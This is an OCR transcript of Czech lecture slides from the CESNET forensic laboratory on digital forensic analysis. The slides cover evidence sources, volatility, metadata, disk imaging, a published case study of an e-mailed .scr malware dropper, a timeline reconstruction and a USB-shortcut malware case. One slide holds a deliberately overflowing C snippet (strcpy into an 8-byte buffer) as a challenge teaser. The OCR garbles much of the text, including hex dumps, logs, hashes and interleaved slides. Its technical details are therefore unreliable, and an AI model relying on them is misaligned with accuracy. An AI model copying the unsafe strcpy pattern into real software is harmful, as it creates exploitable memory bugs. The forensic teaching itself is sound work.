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ﬁ Forenzni P \r,e d StaVe n I,

laborator

e CESNET, z.s. p. o.
o Zajmové sdruzeni — vysoké $koly a AV CR
o Pripojeni k Internetu, ..., bezpecnost

e CESNET-CERTS

e BezpecCnostni tym
« Redeni bezpeénostnich incidentl + prevence

o FLAB

e Forenzni LABorator

o Podplirné pracoviste

o Analyza bezpecnostnich incidentu

o Prevence (penetracni testy, testy socialniho inzenyrstvi)
o Skoleni
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%Forenzni Uéena, deﬁnice

laborator

Digitalni forenzni analyza se zabyva zajistéenim
dukaznich materialu v oblasti informacnich
technologii, jejich interpretaci a prezentaci.
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% Forenzni analyza digitalnich dat

laborator

1100011101111001111010101010000000110010
1101010010100000101010101000111110001001
1100011110011101111011111011010011000111
0101111010101010101011110101110101010110
0011001000001000000000000100011011100001

010010010001 100010010001
011110001010 Digitalni data 100011100001
010010000100 011010010001

0110110000100100001100101011000111011110
1111100101110001111001110111101111101101
1101001010101010101111110101110112101111
0111011100101101100111100011011010101110
0001001010110111110001110011101110110111
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LCI? Zdroje digitalnich dat

laborator

e 21. (digitalni) stoleti
e Informacni technologie

e Internet

o Pocitace

o Tablety

e Chytré telefony
e Chytré domy

e Chytra auta

e Chytré pracky

e Chytry toustovac

e Chytré soucastky
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(s Vznik digitalnich dat

laborator

e Pouzivani zarizeni

‘4D 5A 9000 0300 0000 0400 O0OOO0 FFFF OOOO MZ e et nnn e P
v /7 /7 P 'E800 0000 0000 0000 4000 0000 OOO0O 0000 P - I
Py Ocekava ny Vystup §IZIIZIIZIIZI 0000 0000 0000 0000 0000 0000 0000 v v e e e e e e nnnnes
0000 0000 0000 0000 0000 0000 FOOO 0000  ............ ...
'0ELlF BAOE 0O0B4 09¢CD Z1EBS Ol4¢ ¢©D2l 5468 = ir,.ni'Tth

169?3 2070 TZ6F 6772 6leoD 2063 61l16E GBEGF is program canho

PY UlOEEny, dOkument 3?420 6265 2072 756E 2069 EE2Z0 444F 5320 t be run in DOS

87Dl
V4 .
o Odeslany e-mail Bt
1E4F
\"& 4 7 ECDCB
. C h O d za rI ze n I U’;Latile Systems Volatility Framework 2.1_alpha

Name Pid Start End Tag Hits Protect

explorer.exe 1512 0x0eaf0000 Oxea26fffO VadS [:] PAGE_EXECUTE_READWRITE
Dumped to: output/explorer.exe.657c¢9f8.0ea00000-0ea26fff.dmp

Bx0eabfooon 4

e Program bézi (v pameéti) Z=fHE

BxBeabB0do Be ba @e

0x0eabnose 69 20 70 is program canno
0x0eab@O6o 74 62 65 t be run in DOS
K 4 d r v n n /4 I/O d t 0x0eabfO70  6d 64 65 mode....$.......
. O ’ p O e e’ a a explorer.exe 1512 0x0ea50000 Oxea7afffe VadS PAGE_EXECUTE_READWRITE
: output/explorer.exe.657c9f8.0ea50000-0ea7afff.dmp
4d 90 00 [::] 00 ff MZ.
b8 00 00 (-] 00 00 cen
v 7 4 4 ° [::] 00 00 v
ouzivani = vznik stop :
‘. cd L. LATh
72 is program canno

6e t be run in DOS
Pa mode....$.......

u
u
u
u
u

”””””””” 2121 .670248]

] A4 \"& 4 V4 ! . . Ie .
. Uvn Itr Za rl Ze n I 313:33:32 debian kernel: 2121.952509]

[
[
313:33: 2 debian kernel: [ 2121.952513]
[
[

: new full-speed USB device number 3 using ohci hcd

: New USB device found, idVendor=067b, idProduct=2517

: New USB device strings: Mfr=1, Product=4, SeriglNumber=0
: Product: USE Mass Storage Device

2121.952519] : Manufacturer: Prolific Technology Inc.

4 113:33:32 debian mtp-probe: checking bus 1, device 3: "/sys/devices/pcif000:00/0000:00:06.0/usbl/1-2"
. n era Ce S O O II I l 313:33:32 debian mtp-probe: bus: 1, device: 3 was not an MTP device
113:33:32 debian kermel: [ 2122.044904] Initislizing USB Mass Storage driver...
113:33:32 debian kernel: [ 2122.045181] scsi3 : usb-storage 1-2:1.0
313:33:32 debian kernel: [ 2122.045252] usbcore: registered new interface driver usb-storage
113:33:32 debian kermel: [ 2122.045255] USB Mass Storage support registered.

T nowwn
'

2121.952516]

= e e
'
NNRNNNN

oCcooTooO

[
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I.GI-? aboratr

e Navstéva webové
stranky

Spusteny prohlizec
Historie (prohlizece)
Stranka v cache

Stranka v pameéti

Log proxy

Log firewallu

Spojeni (NetFlow data)
Log provozovatele sluzby
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Vznik digitalnich dat — priklady

e Priprava snidane

(s chytrym toasterem)

2019-04-24 06:25:17

Toaster started
2019-04-24 06:25:18

Checking updates
2019-04-24 06:25:28

Toaster up-to-date
2019-04-24 06:28:47

Pre-heating completed
2019-04-24 06:29:31

Toasts inserted (2 pcs)
2019-04-24 06:34:31

Toasts done
2019-04-24 06:34:32

Stat: 118 toasts toasted,

137 remains to malfunction
2019-04-24 06:34:32

Toasts ejected
2019-04-24 06:34:33

Sending notification to

apadrtalcesnet.cz




% Pomijivost dat

laborator

e Pomijivost (volatility)

o Doba existence (moznosti ziskani)
o Zebfit¢ek pomijivosti

1) Registry CPU a cache

2) Operacni pamét
* Otevrené soubory
 Sitova spojeni
* Bézici procesy

3) Pevné disky

* Soubory a jejich metadata
4) Pasky
5) Opticka média, tistéené dokumenty, ...
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% Digitalni data v zarizeni

laborator

e Pomijiva (volatile)

e Pouze po dobu chodu
o Typicky — RAM
o Vypnuti = zmizi

e Aktivni (active)

o Uzivatelsky dostupné

o Viditelné bez nastroju
o Obsah béznych soubor

2
z B [w]E [JE E

i
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N Digitalni data v zarizeni

laborator

o Metadata

Y Informace @) datech File name: DSC_0260.1PG File size: 922866 bytes

File date: 2006:04:22 22:06:16 Camera make: NIKON CORPORATION
ey / 4 Camera model: NIKON D7F0s Date/Time: 2006:04:17 18:06:08
° .
POUZIty format Resolution: 3000 x 2632 Flash used: Mo

18.0mm (35mm

° CaS Vytvoren| Souboru Focal length: sl i Expozure time: 0.0008 = {(1/1250)
Aperture: ff&.0 Whitebalance: Manual

o GPS SOUFaanCE Metering Mode: matrix Exposure: Manual
fotograﬁe Exposure Mode: ManualAuto bracketing

o Autor dokumentu

g C\Users\apadrta\AppData\Local\Temp\SALE73.tmp\metaxml - ProhliZe¢ Internet Explorer I. = | B é]
. LI ] -
<?xml version="1.0" encoding="UTF-8" 7=

v 7 - <office:document-meta xmins:office="urn:oasis:names:tc:opendocument:xmins:office:1.0"
PY l | I Oze n I xmins:xlink="http:/ /www.w3.0org/ 1999 /xlink"
xmins:dc="http://purl.org/dc/elements/1.1/"
xmins:meta="urn:oasis:names:tc:opendocument:xmins:meta:1.0"
xmins:ooo="http:/ /openoffice.org/2004 /office" office:version="1.2"=>

Hr 4 © - <office:met
® Uvnltr SOUboru <oa:r;:j:ar?i(l'awi;;—t:reatc:r};ﬂ.leﬁPar:lrta<,n'meta:initial—creator>

zmeta:creation-date=2010-09-01T21:42:36.78</meta:creation-date=
zdc:date=2010-09-03T10:22:53.17 </dc:date =

[ J V SO u b O rOVé m <dc:creator>Ales Padrta</dc:creator=

<meta:editing-duration>PT36H24M555 </meta:editing-duration =

4 <meta:editing-cycles>19</meta:editing-cycles=
Syste m u <meta:generator=0penOffice.org/3.1$Win32 OpenOffice.org_project/310m195Build-
9420</meta:generator=
<meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-

. J4 V4 v s
m count="0" meta:page-count="1" meta:paragraph-count="38" meta:word-count="231"
® J I n e u |Ste n I meta:character-count="1308" /=

<foffice:metaz

’,mimo Vlastnll datall </office:document-meta=
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N Digitalni data v zarizeni

laborator

e Systémoveé logy

e INnformace o chodu zarizeni

o Co se se zarizenim déje

e Pro reseni technickych potizi

e Kontrola Cinnosti

e DocCasné soubory

e Pomocny prostor
o Mezivysledky

2019-04-24, KAE/FZEI, ZCU v Plzni

7N /7

mc [ ‘fvarflog

& cmd = [

c:s>dir c:isUsershapadrtasAppDatasLocalsTemp
Svazek v_jednotce C je 0S.
Sériové €islo svazku je 4819-B194.

Ugpis adresaie c:sUserssapadrtasfppDatasLocalsTemp

A3.11.2815 14:44 {DIR> .

B3.11.26815 <DIR> -

B3.11.2815 <DIR> acrord32_shx
36.18.2815 8683 894 AdobeARM.loyg
B3.11._26815 178 742 DalHeastu;ementFile2.lug

i4.18.2815 1 825 913 Forenzni” laborator>.pdf
A2.01.26813 B FRSAPIDebugLogFile.txt

BA3.11.26815 <DIR> lubbl%uwd . tmp

A3.11.26815 {DIR> McAfeeLogs

25.18.2815 1 3 <DIR> mozilla—temp—files

(31 .88 2815 ) gts ingleapp—Nogigg—hB39—1—10ckf ile

5. Bajtii: . a 549
6. Uolngch bhajtii: 8 838 354 944




LAB Gicre

Digitalni data v zarizeni

e Rezidualni data

e Smazané soubory, jejich fragmenty, casti pamét;, ...

-

) AccessData FTK Imager 2.9.0.1385 = | Bl i

File View Mode Help

aagcag - BEe wm X R QIO E D[RR T,

Evidence Tree # | |File List
E‘@ usbdriveimage 001 Mame | Size | Type Date Modified |
£ Partition 1 [3707MB) | 011394 102400 KB Unallocated Space
' E‘"'_ g’ﬁ’; ]L'FD [FAT3Z] 036004 102400 KB Unallocated Space
@ unallocated space] L 02594 102400 KB Unallocated Space
: ” L | DE8194 102400 KB Unallocated Space
B-l# Unpartioned Space [basic disk]
@ lunallocated space] L 113794 102400 KB Unallocated Space
| 1139394 102 400 KB Unallocated Space
164994 102 400 KB Unallocated Space
190594 102400 KB Unallocated Space
| 216194 102400 KB Unallocated Space
341704 107 Ann 1o Ilem allm mmdbm Al Cmmmm

| »

m

0000000 (4B &F
0000010 (&85 E1

70 63 74 20 T4-65 T2 6D &F 6E 75 6B &C |Koupit termonukl
6E ED 20 &8 &C-61 76 69 63 69 2E 0D 0& |eédrni hlaviei. --

Custom Content Sources H

Evidence:File System |Path|File 0000020 | 4B 6F

0000030 (el 6D
0000040 (&5 0D

70 69 74 20 72-61 6B 65 74 75 0D OR 4E Koupit raketu- -N
6E 74 GF 76 61-74 20 68 6C 61 76 69 63 amontovat hlavic
4E 61 73 74 61-76 69 T4 20 73 &F 75 FE|i--Nastavit sous
0000050 |61 64 6E 69 3 65 20 €3-ED &C 65 OD OR 53 6B 6F | adnice cile--Zko
0000060 |6E T4 72 6F &C 6F 76 £1-74 20 73 6F 75 F& &1 64 |ntrolovat souead
A A I RN A F 64-70 E1 6C 69 74 20 72 61|ptWRodpslic ral
oooooso |[ENEIEEEEENCD 0% 4E 65-6E &5 63 68 61 74 20 73 |38 - -Nenechat 3
0000090 (65 20 &3 68 79 74 69 74-20 28 21 21 29 00 00 00|e chytit (!!)---
Mew| | | | 00000a0 (00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00| -------memnnmn--

P -
RO o R

1| m | 3

Custom Co...| |Sel start = 118, len = 14; dus = 11394; log sec = 105976; phy sec = 106039
usbdrive-image.001/Partition 1 [3707MB]/ADATA UFD [FAT22])/[unallocated space]/011394 UM
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laborator

% Digitalni data mimo zarizeni

e Kopie dat

o Centralni log server

o Centralni sprava zabezpeceni
o Cloudové sluzby

o Zalohovani

e Komunikace

e Prenos dat

« Kompletni provoz
« Metadata o provozu (NetFlow)

e Druha strana

« Logy serveru

2019-04-24, KAE/FZEI, ZCU v Plzni
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Forenzni
lahorator

L

Informace v digitalnich datech?

e Digitalni data

o Nuly a jednicky

o Jaky je jejich vyznam?
e Analyza dat

e /Na
e /ZNA
e /ZNA

ost formatu dat
ost interpretace

VI e

ost pricin vzniku

= Extrakce informaci

= Rekonstrukce udalosti

2019-04-24, KAE/FZEI, ZCU v Plzni
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DOS header

DOS stub

PE signature, PE file header

PE standard fields

PE NT fields

Data directories

Aext section header

.rsrc section header

reloc section header

text section

14



B Forenzni
laborator

Forenzni analyza digitalnich dat

1100011101111001111010101010000000110010
1101010010100000101010101000111110001001
1100011110011101111011111011010011000111
0101111010101010101011110101110101010110
0011001000001000000000000100011011100001
01001001 10010001
01111000 Zajisténi digitalnich dat 11100001
01001000 10010001

0110110000100100001100101011000111011110
1111100101110001111001110111101111101101
1101001010101010101111110101110110101111
0111011100101101100111100011011010101110
0001001010110111110001110011101110110111
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L% Specialni pozadavky

laborator

e ,Bézna“ analyza ——
o Zjistit pozadované informace
e Forenzni analyza

o Podklady pro zavazna rozhodnuti
o VySSi narocnost na provedeni

o Zaklady
o Nebylo analyzovano néco jiného

o Nedoslo ke zméne dat

o Postup je opakovatelny

e Zavery jsou podlozené

o Zaméreno na fakta (neutralni pohled)

2019-04-24, KAE/FZEI, ZCU v Plzni
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LCI? Zajisteni podkladu pro analyzu

laborator

e Primarni existence

o Fyzickeé zarizeni

o Pocitac, server, toustovag, ...
e Data v zarizeni

o DOéasné UIOieni = pamét' 2019-04-24 06:25:17 Toaster started

2019-04-24 06:25:18 Checking updates
2019-04-24 06:25:28 Toaster up-to-date

4 A4 r 4 4 1 2019-04-24 06:28:47 Pre-heating completed
o Trvale UIozenI - datova medla 2019-04-24 06:29:31 Toasts i;serted (2 pcs)
2019-04-24 06:34:31 Toasts done
2019-04-24 06:34:32 Stat: 118 toasts toasted,

s
’ Anal Za 137 remains to malfunction
2019-04-24 06:34:32 Toasts ejected

2019-04-24 06:34:33 Sending notification to
apadrtalcesnet.cz

. ]

e Probiha mimo zarizeni

o Minimalizace zdsahU do zajisténych dat
e Nutno extrahovat data

2019-04-24, KAE/FZEI, ZCU v Plzni 17



ﬁ Zajisténi podkladu pro analyzu

laborator

e Vyvareni bitovych kopii
e Pameéti
o Datovych médii
e RUzné postupy

¢ Bitova kopie (obraz, image)
e Stejnyobsah0al
S — o Kontrola autenticity
tttttt e « Otisk (hash) bitové kopie
o MD5, SHA-256, ...

# ssh admin@toaster "dd conv=noerror,sync if=/dev/sda" | dd of=image.dd

2019-04-24, KAE/FZEI, ZCU v Plzni 18



L% Zajisteni podkladu pro analyzu

laborator

e Fyzickeé zarizeni

e Porucha

e Vraceni do provozu
e Primarni data SHA-256

o ,Best evidence” -
Fyzické zatizeni Primarni bitova kopie  Otisk(y)

o Bitova kopie zarizeni |

e Riziko modifikace

o Analytické nastroje
o Lidska chyba |
e Pracovni data Analyza Pracovni bitova kopie

o Kopie primarnich dat
e Prubézna kontrola

2019-04-24, KAE/FZEI, ZCU v Plzni 19



B Forenzni
laborator

Forenzni analyza digitalnich dat

1100011101111001111010101010000000110010
1101010010100000101010101000111110001001
1100011110011101111011111011010011000111
0101111010101010101011110101110101010110
0011001000001000000000000100011011100001
01001001 10010001
01111000 Analyza a interpretace 11100001
01001000 10010001

0110110000100100001100101011000111011110
1111100101110001111001110111101111101101
1101001010101010101111110101110110101111
0111011100101101100111100011011010101110
0001001010110111110001110011101110110111

2019-04-24, KAE/FZEI, ZCU v Plzni
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L% Analyza a interpretace

laborator

e Analyza

e Hledani informaci
e Potvrzovani hypotéz

e Zadani analyzy

#
, , .. ‘ .,.\' . \

- — LAY A \ NN
/ﬂ//c‘ l-\\

e Co je hledano
) (otazky k zodpoveézeni)
o Kde lze hledat

(vstupni data)

4 p, o= FINANN ....} . \L.\-
. - J ‘-J,/J\ - N ‘\_‘.\ -
4 [N > S\

iy /. \ I\ \ .
| ~ss / N LN -~
{\ vas/ AN - - ‘/’

—— — ——— ———

o Doplnujici informace
(usnadnéni prace)
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L% Analyza a interpretace

laborator

o Typickeé otazky k zodpoveézeni

o Jak bylo zarizeni infikovano?

o Jak poznat infikované zarizeni?

o Vyskytovaly se na zarizeni
konkrétni soubory? I

« Kdo dané zafizeni pouZival?

o Jaké aplikace byly na zarizeni
nainstalovany a spoustény?

o Jaka externi zarizeni byla
pripojovana?

o Bylo zarizeni pouzito k ...?

2019-04-24, KAE/FZEI, ZCU v Plzni
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LCI?;;;;:;& Analyza a interpretace

e Bézna vstupni digitalni data
e Obraz disku zarizeni
o Obraz pameti zarizeni
o Informace o sitovém provozu
(NetFlow data)
o Sitovy provoz

, . ‘ £ 7 \. Ao (NN . \\o
(kompletni komunikace, pcap) "_,/ ‘ :\\ SO

WO PN

o Informace provozovatele squby/ . VNS NN e

/// VY

s ,_‘, A et - . \
(Casti logu prislusné sluzby) AT o \‘\;\
7 s - = A f , em arpAn ...} RN I
o Konkrétni soubory /:;/ Y S BN
S '/// /.‘/ 7 \ ’\ \"‘\‘ \
(vzorek malware, export) - -,,/// N - -

“—_—
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S:e Analyza a interpretace

laborator

e Doplnujici informace

o ,Metadata” od zadavatele
o Popis prostredi

 IP rozsahy, zvyklost;, ...
o Zachytné body pro zacatek

. ,Tento server se podezrele restartoval.”
« ,Tento soubor tu nema byt.”
o Definice ¢asového intervalu
. ,Stalo se to nékdy béhem pondélniho dopoledne.”
e ,Prvni spam byl odeslan vcera ve 13:34:05.“

o Dobré vedét (k uchovani mentalniho zdravi)

« ,Po nakaze jsme server vCera obnovili ze zalohy“
2019-04-24, KAE/FZEI, ZCU v Plzni 24



Analyza a interpretace

LAB Gicre

e Zadani—souhrn informaci

e Oboustranné odsouhlaseni

e Smluvni podminky (NDA, ...)

Zakladni informace
Tdentifikaéni Gdaje o pfipadu:

Identifikator pfipadu 20150229

Nizev piipadu Analyza piiloh e-mailu

Podklady predané k forenzni analyze
Viechny podklady byly pfeposlany zakaznikem na e-mailovou adresu apadrta@cesnet.cz.

Datum pfijeti pfipadu 2922015

Kontaktni informace pracovnika FLAB:

Pracovnik FLAB Ing. Ales Padrta, Ph.D.

E-mail apadrta@cesnet cz

Telefon +420 234 680 280

Kontaktni mformace zakaznika:

Zakaznik Ing. Jan Bezpetny, Cypherfix, a. s.
E-mail jan bezpeeny@cypherfix cz
Telefon —

Specifikace pFipadu
Detailni popis piipadu, specifikace otdzek k zodpovézeni.

Pozadi piipadu Do schranek elektronické posty byly doruéeny podvodné zpravy obsahujici vidy

riiznou piilohu s pfiponou * ser

Doplfiyici informace Viechny soubory * ser byly pfeposlény pracovnikim FLAB.

Otazky k zodpovézeni 1. Jak 1ze zamezit dal$imu $ifeni malware? Pomuze blokovéni konkrétnich
procest, spousténi konkrétnich soubort nebo konkrétni komunikace?

2. Jak lze 1dentifikovat napadené stanice? Jaké jsou lokélni zmény v souborovém
systému a v registrech? Vykazuje malware charakteristickou sitovoun
komunikaci?

3. Jak lze malware z napadenych stanic odstranit?

Elektronicky podklad (Data) Evidenéni ¢islo 001
Jméno souboru smlouva_3C2749066380959C scr
Hashe souboru MD5: ee8f9d32821517719ad919186d0e6dfd
SHA1: 689886edfbd21d7a2727ed1ala87d1572ca6d0f4
Cas zajiéténi 29.2.2015 732 GMT+1
Popis Priloha k analyze.
Zptisob ziskani Doruéeno do schranky elektronické poity Organizace.
Zptisob predani Pieposlano e-mailem
Poznamky -
Elektronicky podklad (Data) Evidenéni ¢islo 002
Jméno souboru smlouva_5D2741865381432B.scr
Hashe souboru MD3: 918ab1b8cb706e70951607a%c1b8fb23
SHA1: 58f130fac8dda92blc4ddab293b20a48c4730404
Cas zaji§téni 2922015 7-34 GMT+1
Popis Pfiloha k analyze.
Zptisob ziskani Dorudeno do schranky elektronické poity Organizace.
Zptisob predani Preposlano e-mailem.
Poznamky -—-
Elektronicky podklad (Data) Evidenéni ¢islo 003

Jméno souboru smlouva_4B5414799705489F scr

Hashe souboru MD5: Se6cb4f13034abe863bf11b4£3c22622

SHA1: c80dbad08d1909ce432be55dd5407a87ff1cc373

Cas zajisténi 2922015 742 GMT+1

Forma predani vystupu | Visledkem analyzy bude zavéreéna zprava v elektronické formé. Diléi zjisténi
majici vliv na fedeni incidentu mohou byt pfedavany pribéms elektronickou
poitou nebo telefonicky.

Pozadované datum pro | Vysledky analyzy budou pouzity pii reakei na incident, vystupy je nutno predat

predani vystupu co nejdiive.

Popis Priloha k analyze.

Zplisob ziskani Doruéeno do schranky elektronické posty Organizace.
Zplisob predani Pieposlano e-mailem.

Poznamky -

2019-04-24, KAE/FZEI, ZCU v Plzni
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L% Analyza a interpretace

laborator

o Uvodni rozvaha
e Co mame najit?
o V jakych datech?
o Kde by tak mohly byt stopy?
o« Mame Casova omezeni?
e Zakladni plan
o Nejpravdépodobnéjsi cesty k cili
o Dodrzeni - orientacné
o Kazdy pripad je jiny
o Hodné improvizace

2019-04-24, KAE/FZEI, ZCU v Plzni
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ﬁ Odvozovani informaci

laborator

010110
110011

Data

: 1

Predzpracovani

: 1

,click to pay*
Extrakce ,you are doomed*
informaci ,<{oasts ejected”
Interpretace
informaci

2019-04-24, KAE/FZEI, ZCU v Plzni 27



LGI?B aboratr

Analyza a interpretace

e Jak najit spravné informace?

e /NAa
e ZNA
e ZNA

e Vyhodnoceni

ost fungovani analyzovanych systému
ost formatu dat
ost nastroju

o Nové sméry hledani KNOWI EDGE

« Validace existujicich STHE

zaveru nm—

e Slepé ulicky TO qucceqc;

o Dobreé vCas opustit
o Noveé znalosti
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% Pouzivani bez znalosti...

laborator

WARNING

Do not use for
drying pets !

Airlines plane crash?
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L% Priklad interpretace informaci

laborator

e Popis pripadu
o Tablet nalezeny v kancelari
o Obavy zaméstnancu firmy

o Zapomnétlivy zakaznik
« Odposlech hovoru

« Vybusné zarizeni
o Chtéji vratit majiteli / nahlasit bezpecnostni incident
e Cojecilem?
o Kdo je uzivatel zarizeni
e Z Ceho lze vychazet?

e Obraz disku zarizeni
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%r:::::;z Priklad interpretace informaci

010110
110011 Filesystem
LLOB
000

Obraz disku

2019-04-24, KAE/FZEI, ZCU v Plzni
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%r:::m Priklad interpretace informaci

f

Palubni_listek.html

Obraz disku
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%r:::m Priklad interpretace informaci

f

Palubni_listek.html

http://travel.example.cz/index.php/

hiberfile.sys — ~BglELERINEIGErAel] e g g e e

Obraz disku

WarMemorialofKorea.jpg
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% Priklad interpretace informaci

laborator

f

e —

Palubni_listek.html

http://travel.example.cz/index.php/
&add=“Jsem tu, vSude plno korejcl :-D*

_ hiberfile.sys ———RgllEleElaINg=1(YAolV
Obraz disku

’

WarMemorialofKorea.jpg

’
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%r:::m Priklad interpretace informaci

f

Palubni_listek.html

S —

http://travel.example.cz/index.php/

hiberfile.sys — ~BglELERINEIGErAel] e g g e e

’

WarMemorialofKorea.jpg

Webova stranka
http://travel.example.cz
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%r::::::;z Priklad interpretace informaci

Palubni_listek.html

hiberfile.sys

s Hledani retézcu

Webova stranka
http://travel.example.cz

2019-04-24, KAE/FZEI, ZCU v Plzni

f

S —

http://travel.example.cz/index.php/
&add=“Jsem tu, vSude plno korejcl :-D*

’

WarMemorialofKorea.jpg

’
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% Priklad interpretace informaci

laborator

Palubni_listek.html

f

hiberfile.sys

s Hledani retézcu

—— Obsah: blog

Webova stranka
http://travel.example.cz

2019-04-24, KAE/FZEI, ZCU v Plzni

S —

http://travel.example.cz/index.php/
&add=“Jsem tu, vSude plno korejcl :-D*

’

WarMemorialofKorea.jpg

*| Jsem tu, vSude plno Korejcll :-D

Maj tu fakt husty muzeum.
Stravil jsem tam celej den.

s
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% Priklad interpretace informaci

laborator

f

Palubni_listek.html

S —

http://travel.example.cz/index.php/
&add=“Jsem tu, vSude plno korejcl :-D*

hiberfile.sys ———RgllEleElaINg=1(YAolV

’

WarMemorialofKorea.jpg
———  Obsah: blog > Jsem tu, viude pInoK’orejcf] -D -

Webova stranka
http://travel.example.cz _

Maj tu fakt husty muzeum.
Stravil jsem tam celej den.
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L% Priklad interpretace informaci

laborator

o Casova 0sa
e 10. 1. 2011 (whois.nic.cz)

\§
« Porizeni domény travel.example.cz ///.\‘\
e 8.10. 2015 (metadata souboru) \\ ,,l,l,
« Stazeni palubniho listku
e 9.10. 2015 (obsah souboru)
« Odlet z Prahy, sedadlo 27F
o 10. 10. 2015 (obsah souboru, blog)

« Prilet na Incheon, prispévek na blog

e 12.10. 2015 (web, obrazek v hiberfile)

o Navstéva War Memorial of Korea .
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L% Analyza a interpretace

laborator

o Casova osa (Timeline)
o Systematicky pristup
e Udalosti z rtznych zdroju

e Souborovy systém

o Obsah souboru

o Casové znacky z komunikace
e Zobrazeni udalosti v Case

o Odvozeni navaznosti
o Urceni pricin a nasledku
o« Omezeni udalosti na Casovy interval

2019-04-24, KAE/FZEI, ZCU v Plzni
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B Forenzni
laborator

Forenzni analyza digitalnich dat

1100011101111001111010101010000000110010
1101010010100000101010101000111110001001
1100011110011101111011111011010011000111
0101111010101010101011110101110101010110
0011001000001000000000000100011011100001
01001001 10010001
01111000 Prezentace vysledku 11100001
01001000 10010001

0110110000100100001100101011000111011110
1111100101110001111001110111101111101101
1101001010101010101111110101110110101111
0111011100101101100111100011011010101110
0001001010110111110001110011101110110111

2019-04-24, KAE/FZEI, ZCU v Plzni
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L% Prezentace vysledku

laborator

e Forenzni analyza

e Specializovana Cinnost

e Pomeérne slozita SCSI RAID-2 s RSA2048
... co tim jako myslite?

e Komunikace s neodborniky

o Nevyhnutelna

o Komunikacni bariéra

e Jina predstava o ,to je zrejmé“
e Vysvétlit princip, postup

o Bez technickych detaill

e Vhodna slovni zasoba
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Forenzni
lahorator

e Zaverecna zprava o analyze

PFi

Celkové (manazerské) shrnuti

Zadani

Otazky k zodpovézeni

Pouzity postup

Dosazené vysledky

Vyhodnoceni

Odpovedi na otazky
rilohy — technicky popis

klad zavérecné zpravy

Prezentace vysledku

CESNET,z.2p.o.

Analyza malware pro CSIRT Forenzmi laborstoi FLAR
Forenzni Fipadova studie) Zikova 4, 16000
|abaratof Prahs 6, Ceska republiks

Ptiloha B: Zav&ren4a zpréva

ManazZerské shrnuti

kters malware po svém -pustem vede a sitové :]chat_‘ byl navrien postup pro Gpravn pravidel
antivirontho sysam, zpiash Iokibn ¢ vadilens dentifkace kompromitovaich stanic 5 Gké svrian
postup pro odstranéni malware.

Zakladni informace o pfipadu
Do schrinek slektronicks posty organizace byly dorodeny podvodns zprivy obsahujici vidy riznou pfilhu
< piipenon * scr. Vzorky (soubory) byly pedén pracovrikovi FLAB elektronickon poston.
Zadavatelem a ziroveii i kontakni osobou pro dali kemunikaci je Ing. Jan Bezpedny, Cypherfix, 2. s.
(kontaktni & mail: jan bezpeeny@eypherfix ez).
Vstupem pro analfzu jsou i bindmi soubory — piiloky podvodného e-maily. Detailni informace jsou
wwvadeny v piilodeném zadini (zde Piiloha A: Zaddni piipadu).
Cilem zkoumini je analyzovat chovini piiloh po jejich otevieni nebo spuiténi 2 zodpovidét nisleduiict
otazky:

1. Jak lze zamezit daliimm Sifeni malware? Pomife blokovani konkrétnich procesd, spousténi

konkrétnich seubori nebo konkrétni komunikace?

2. Jak ke identifikovat nspadené stamice? Jaké jsou lokilui zmény v souborovém systému 3
* registrach? Vkazuje malware cb con sitovou | X
3. Jak Ize malware z napadenich stanic odstranit?

Prabéh analyzy

Vzhledem ¢asové maléhavosti byla pro ziskdni poiadovanych informaci rvolena dvnamicki amaliza —
otevfenim nebo spuiténim souboru v kontrolovaném prostiedi lze pozorovat zmény provadend v systému a
sifové aktivity i bez detailnich malesti o formétn a obsahu scuborn. Pro tuto konkrétni analizu byle vyugito
pfipravené standardni prostfedi zalefené na ndstrojich Process Monitor, Captare BAT, Wireshark
= ndsladnym pradzpracovinim pomoci nistroje ProcDot

Cinnost malware

Viachny analyzované soubery vykazui naprosto steind chovini, rozdilné ndzvy a bindmi cbsah slouti jen ke
homplikovini automaticks deteloce.

Po spusténi analyzovanych soubord dojda ke

+  komumikaci = [P adresou 1€7.aza . bbb. 160, ze keré je stafen soubor 2 ulofen na disk do
uZivatelského profiln ped ndzvem zte. axe (MD3I: clfbeedcTadf22474d56cd4044236d8),

Klasifikace dokumentu: Vafejn &3

https://flab.cesnet.cz/_media/cs/sluzby/case_study-analyza_malware.pdf

2019-04-24, KAE/FZEI, ZCU v Plzni
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laborator

% Prezentace vysledku

e Osobni prezentace

e Zadani

Result 3
e Z Ceho se vyslo g

~ 4

o Velmi hruby postup

o Zavery
e Prostor pro diskusi
O VVhody

e Osobni interakce se zakaznikem

o Ujisténi se o pochopeni
o Doplnéni nejasnosti
e Diskuse ,,mimo zaznam”
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L Forenzni Ee§ n et

lahorator

cat << _EOF__>game.c

#define MSG "Zahraj si...\n\t... nauc se ...\n\t\t... pridej se!"
int a() {char s[8]; strcpy(s, MSG); return(0); }

int main(int argc, char **argv){a();exit(0);}

__EOF__

gcc game.c && ./a.out e

Segmentation fault O
B

https://flab.cesnet.cz/game
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B Forenzni
laborator

01

110001
110101
110001
0111
00110010000010000
01
01
01

001
111
001

Priklady z praxe

10101010101

001

000 Malware Houdiny

000

11011110011
00101000001
11100111011

OOI—‘OI—‘

O O O o O

OI—‘I—‘OO

101
101
111

01000000
00011111

011010011
110101110101
000100011011
10010001
11100001
10010001

0110010
0001001
000111
010110
100001

0110110000100100001100101011000111011110
1111100101110001111001110111101111101101
1101001010101010101111110101110110101111
0111011100101101100111100011011010101110
0001001010110111110001110011101110110111
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LGI?B aboratr

D&jstvi I: Stav na ZCU

2019-04-24, KAE/FZEI, ZCU v Plzni
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% Upozornéni na problém

laborator

e Uzivatel kopiruje soubory mezi pocitaci

o Nezna progresivni metody prenosu dat
o Pouziva flashdisk a Prizkumnika (Explorer)

e Pouzity postup

- Soubory 7
{4

Problém se zastupcem @
r?” L PoloZka dol k:um nt.docx, na kterou odkazuje tento zastupce,
byla zménéna nebo presun Emkzezampc:EJ nebude
pracovat spra'u'né.

Cheete tohoto zastupce odstranit?
{ P E ) Ao [ e |
L
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laborator

L% Upozornéni na problém

e Eskalace k lokalnimu spravci IT
o Eskalace uZivatelské podpore CIV ZCU (IT oddéleni)

Dobry den,

prosim Vas o pomoc. Objevil se mi tu
vir. Ze vsSech adresaru a souboru udéla
na externich tlozistich zastupce.

Dekuji za pomoc.

e Eskalace bezpecnostnimu tymu

2019-04-24, KAE/FZEI, ZCU v Plzni
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L% Analyza provedena CSIRT

laborator

e Flashdisk

o Obsahuje i puvodni soubory (Atribut ,,skryty soubor®)

o Obsahuje zastupce

« Stejna jména i ikony jako puvodni soubory

 Otevre puvodni soubor + soubor ,,Microsoft Excel WsF*
